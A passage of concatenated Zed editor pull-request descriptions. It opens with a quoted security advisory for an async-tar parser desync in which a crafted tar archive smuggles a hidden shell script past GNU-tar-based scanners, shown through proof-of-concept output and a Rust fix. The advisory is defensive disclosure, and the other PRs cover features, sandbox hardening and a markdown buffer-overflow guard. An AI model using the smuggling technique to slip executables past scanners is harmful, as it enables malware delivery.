[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt
#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```
Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.
Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):
```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```
GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.
##### Fix
Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.
```rust
// when pax extensions are available, the size should come from there.
let mut size = header.entry_size()?;
// PAX extensions describe the NEXT file entry, not an intermediary
// extension header. Applying a buffered PAX `size` to such an intermediary
// header (L/K/x/g) advances the stream cursor by the wrong amount and
// desyncs the parse.
let entry_type = header.entry_type();
let is_extension_header = entry_type.is_gnu_longname()
|| entry_type.is_gnu_longlink()
|| entry_type.is_pax_local_extensions()
|| entry_type.is_pax_global_extensions();
// the size above will be overriden by the pax data if it has a size field.
// same for uid and gid, which will be overridden in the header itself.
if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
let pax = pax_extensions(pax_extensions_data);
for extension in pax {
// unchanged: same size/uid/gid override loop as before
}
}
```
Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:
```
$ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
Compiling async-tar v0.6.0 (.../async-tar-patched)
Compiling async-tar-consumer v0.1.0
Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```
With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.
##### Fix PR
A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).
##### Credit
Reported by tonghuaroot.
#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`
#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Release Notes
<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>
###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)
[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)
###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support
[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)
</details>
---
### Configuration
📅 **Schedule**: (in timezone America/New_York)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
Release Notes:
- N/A
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
---------
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
Fixes menu a11y, and adds landmarks with `F6`-navigation.
Also fixes a GPUI bug, and adds debug actions for dumping a11y tree
info.
Since `F6` was already in use by the pause debugger keybind, also
tightens up the debugger keybind context so they require an active
debugger session. When there is one active, `F6` stays as pause
debugger. `ctrl-F6` always works to go to the next landmark.
Also adds an "accessible mode" setting. Currently, this only controls
whether we show all menus all the time, but I suspect it will expand
significantly in the future.
Also adds `.aria_keyshortcuts()` API, but it's not wired up within
accesskit adapters, so is not yet reported to screen readers.
---
Release Notes:
- N/A or Added/Fixed/Improved ...
# Objective
Every build of zed (and of every downstream gpui consumer) currently
compiles rav1e, a full AV1 video encoder, because `image`'s default
`avif` feature is enabled. That feature only provides `AvifEncoder`;
AVIF *decoding* requires the separate, non-default `avif-native` feature
(dav1d). So AVIF files do not decode anywhere in zed today, nothing
encodes AVIF (`AvifEncoder` has zero references in the repo), and rav1e
plus its support crates are dead weight in every clean build.
## Solution
Pin the workspace `image` dependency to its default feature set minus
`avif`.
No behavior changes: AVIF files fail to decode exactly as before, and
`ImageFormat::Avif` still exists (the enum is not feature-gated), so the
`image_viewer` match arm compiles unchanged. The `"avif"` entry in
gpui's supported-extension list is deliberately left untouched to keep
the diff minimal; loading such files fails identically before and after.
## Testing
- `cargo metadata` node diff (before vs after, all 1832 resolved
packages): the only change in the entire graph is `image` losing
`avif`/`default`/`default-formats`.
- `cargo tree -i rav1e` on the Linux host, plus `--target
aarch64-apple-darwin` and `--target x86_64-pc-windows-msvc`: no reverse
dependencies on any platform.
- `rg -i avif crates/` finds only string labels (an extension list in
`gpui`, a format name in `image_viewer`, an icon mapping in `theme`);
`AvifEncoder` is never referenced.
- `cargo check -p gpui` passes.
- Isolated probe crate depending on image 0.25.10 alone (cold builds,
Linux, 16 threads), default vs default-minus-avif: release drops from
191 to 122 CPU-seconds and 282 to 191 MB of `target/`; debug drops from
75 to 42 CPU-seconds and 549 to 342 MB.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (n/a:
manifest-only change)
- [x] The content adheres to Zed's UI standards (n/a: no UI change)
- [x] Tests cover the new/changed behavior (no behavior change; CI
covers compilation)
- [x] Performance impact has been considered and is acceptable
(build-time improvement only)
---
Release Notes:
- N/A
Closes security loopholes and updates docs:
- installs seccomp filter for blocking naughty syscalls
- tightens macos seatbelt profile
- fetch tool responses that redirect are now constrained by allowed
domains list
Also adds a few "Learn More" buttons that link to the new docs.
Also fixes a bug where the agent would try to create a
`~/.config/zed/AGENTS.md` directory
Also adds unicode confusable detection to URL/path privilege escalation
prompts.
---
Release Notes:
- N/A or Added/Fixed/Improved ...
---------
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes#43396
Release Notes:
- Project search now supports CRLF line endings correctly, as well as
other regex features like subroutine calls
Adds native support for AWS Bedrock's Mantle endpoint
(`bedrock-mantle`), which serves models with no `Converse`/`Invoke`
support on `bedrock-runtime`, such as GPT-5.5, GPT-5.4, and Grok 4.3 but
more importantly **open-weight** models
Closes#60471
## What's changed
- Renamed the existing `Model` enum in the `bedrock` crate to
`ConverseModel`, and added a new `MantleModel` enum for Mantle-only
models. Mantle models reuse the existing OpenAI-compatible Chat
Completions/Responses request and response plumbing
(`into_open_ai`/`into_open_ai_response`,
`OpenAiEventMapper`/`OpenAiResponseEventMapper`) already used by the
native OpenAI and OpenAI-compatible providers, rather than introducing
new marshalling code.
- Added a `BedrockMantleModel` language model that routes requests to
the `bedrock-mantle` endpoint, dispatching to Chat Completions or the
Responses API depending on the model. Mantle models appear in the model
picker alongside Converse models under the same Bedrock provider.
- Added region gating: `bedrock-mantle` is only available in a subset of
AWS Regions, so using a Mantle model outside of them surfaces a clear
error naming the current Region and the supported ones, instead of an
opaque HTTP failure.
- Implemented Bedrock bearer token authentication for Mantle requests: a
configured Bedrock API key is used as-is, and every other auth method
(IAM credentials, named profile, SSO, automatic) derives a short-term
token by locally SigV4-presigning a `CallWithBearerToken` request. This
requires no extra network round trip and no token caching, since
re-signing locally is cheap.
- Added a specific error for the 403 you get when your credentials have
`bedrock:CallWithBearerToken` but not the separate
`bedrock-mantle:CallWithBearerToken` permission Mantle models require,
since this is the most common misconfiguration.
- Added a `mantle_available_models` setting so custom models served
through `bedrock-mantle` can be configured, the same way other providers
support custom models via `available_models`.
- Documented Mantle models and the new setting in the Amazon Bedrock
section of [Use a
Gateway](https://zed.dev/docs/ai/use-a-gateway#amazon-bedrock).
## Testing
- Added unit tests covering: the local SigV4 bearer-token signing
(including a byte-for-byte cross-check against a reference
implementation), Mantle endpoint URL construction, the
Mantle-supported-regions list, thinking-effort normalization, and the
settings-to-model protocol mapping.
- `cargo test -p bedrock -p language_models -p settings_content -p
settings` passes.
- `./script/clippy` passes with no new warnings.
Release Notes:
- Added native support for AWS Bedrock's Mantle endpoint, enabling
GPT-5.5, GPT-5.4, and Grok 4.3 through the Amazon Bedrock provider.
Zed bundles the markdown grammar's block scanner natively, and its
`serialize()` `memcpy`s the open-block stack into tree-sitter's fixed
1024-byte serialization buffer with no bounds check. Markdown with
roughly 255+ nested blocks overflows that buffer, and because it sits at
the front of `struct TSParser`, the overflow clobbers the adjacent
parse-stack pointer and heap. Debug builds of the tree-sitter runtime
catch this with an assertion, but release builds like Zed's have no
check and silently corrupt parser memory — which is why this surfaced as
wild crashes deep in tree-sitter's parse stack rather than clean
failures. Still open upstream as
tree-sitter-grammars/tree-sitter-markdown#243.
This PR points `tree-sitter-md` at a `zed-industries` fork whose
`serialize()` refuses to write state that doesn't fit (bounded by the
same running counter the header writes advance, so the check can't
drift). The scanner then deserializes to a fresh state, and the
pathologically nested region surfaces as ordinary tree-sitter `ERROR`
nodes — visible, safe degradation for an adversarial input class,
deliberately chosen over the two alternatives: truncating the block
stack would deserialize into a plausible-but-wrong state and produce
silently incorrect trees, and the scanner ABI offers no error channel at
all (`serialize()` returns a length into a fixed buffer; there is no way
to fail a parse). A nesting-depth cap at block-open time would give
fully deterministic semantics, but that's a behavior change across 13
scanner call sites that belongs upstream, not in a hotfix fork.
The pinned branch is upstream's `9a23c1a9` (the revision Zed already
pinned) plus exactly two commits, for easy review: the guard
(zed-industries/tree-sitter-markdown@179422edf8)
and regression tests
(zed-industries/tree-sitter-markdown@b596e73728).
The deep-nesting test aborts on the unguarded scanner and passes with
the guard; a moderate-nesting test pins that inputs fitting the buffer
still parse cleanly. The same change is also up as
zed-industries/tree-sitter-markdown#1 into the fork's default branch
(`split_parser`), so future pin bumps don't lose it; if upstream fixes
#243, we can drop the fork entirely on the next bump.
Closes FR-115
Release Notes:
- Fixed a potential crash when editing Markdown with deeply nested
blocks
Adds a dylint library under tooling/lints that flags Zed-specific
anti-patterns:
* shared_string_from_str_literal,
* async_block_without_await,
* entity_update_in_render,
* notify_in_render,
* owned_string_into_shared,
* len_in_loop_condition, and
* blocking_io_on_foreground.
Includes UI tests, a single-lint helper, and workspace.metadata.dylint
registration so cargo dylint --all discovers it. The library pins its
own nightly toolchain (kept out of the main workspace) and tracks dylint
6.
Release Notes:
- N/A
Self-Review Checklist:
- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable
Closes #ISSUE
Release Notes:
- N/A or Added/Fixed/Improved ...
Hi there, I'm Celina from Hugging Face! Opening this PR to add
[llama.cpp](https://llama.app) as a model provider
# Objective
Today Zed users running llama.cpp have to fall back to the generic
OpenAI-compatible provider, which means no auto-discovery (the router
mode (`llama serve`) discovers models from the cache and loads them on
demand) and manual configuration of every model and its capabilities.
This PR makes `llama.cpp` a first-class provider with the same
auto-discovery experience.
## Solution
- Add a `llama_cpp` client crate with the OpenAI-compatible chat types
(`/v1/chat/completions`, including `reasoning_content`) and the
discovery types (`/v1/models`, `/props`), mirroring the existing
`ollama` crate.
- Add the provider in
`crates/language_models/src/provider/llama_cpp.rs`, modeled on the
Ollama provider (settings, configuration view, event mapping).
- Auto discover served models and their context length and tool/vision
support from `/props`. Set `auto_discover: false` to list models
manually instead.
- An unloaded model can't be inspected without loading it, so it is
listed with optimistic defaults (large context, tools enabled) and is
usable from the first message; its real context length and tool support
are filled in once it loads. These live behind a shared map, so a model
already selected in an open conversation picks them up without being
re-selected.
- Show load progress. The provider subscribes to `/models/sse` and
surfaces each model's load progress (e.g. "Loading weights 42%") in its
display name, reconciling stale labels against `/v1/models`. Builds
without `/models/sse` degrade gracefully - no progress, and no
capability refresh after the initial discovery.
- Add settings (`api_url`, `auto_discover`, `available_models` with
per-model `max_tokens` / `supports_tools` / `supports_images`,
`context_window`, `custom_headers`), the provider icon, a `default.json`
entry, and documentation under "Use a Local Model".
No new dependencies: the crate reuses existing workspace dependencies,
and shared state uses `std::sync::RwLock`.
## Testing
- Unit tests in both new crates cover wire/response parsing, model
discovery for single-model and router shapes, the cold-start optimistic
defaults, the in-place capability refresh once a model loads, and the
`/models/sse` event handling (state changes, load failure, load
progress).
- Built Zed locally and ran it against a local `llama serve` router:
confirmed models are discovered without manual configuration, that the
first message works before a model has finished loading, that load
progress is shown in the model's display name while it loads, and that
the reported context length and tool support refine to the model's real
values once it finishes loading.
- Platforms: tested on macOS (Apple Silicon).
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
## Showcase
The generation speed (tokens/sec) depends on the machine you're running
the model, here it's a Apple M3 Max 64GB running a 4-bit quant of
https://huggingface.co/Qwen/Qwen3.5-35B-A3B. For the load progress
status, make sure to upgrade your llama.cpp version to the latest build.
https://github.com/user-attachments/assets/0254f6ef-abe9-42ed-810b-ef1a5b8fa3bd
---
Release Notes:
- Added llama.cpp as a language model provider
---------
Co-authored-by: Ben Brandt <benjamin.j.brandt@gmail.com>
We weren't handling these really before, just rendering the URI. This
should provide best-effort support for what we can render.
<img width="800" height="359" alt="image"
src="https://github.com/user-attachments/assets/51f101c7-c3be-4801-9000-62000a71faa6"
/>
(I will remove the extra labels that was just for testing)
Release Notes:
- acp: Support embedded resources in tool calls.
Pulls in https://github.com/zed-industries/livekit-rust-sdks/pull/13 to
fix a cause of panics with webrtc
Fixes ZED-5J7
Release Notes:
- N/A or Added/Fixed/Improved ...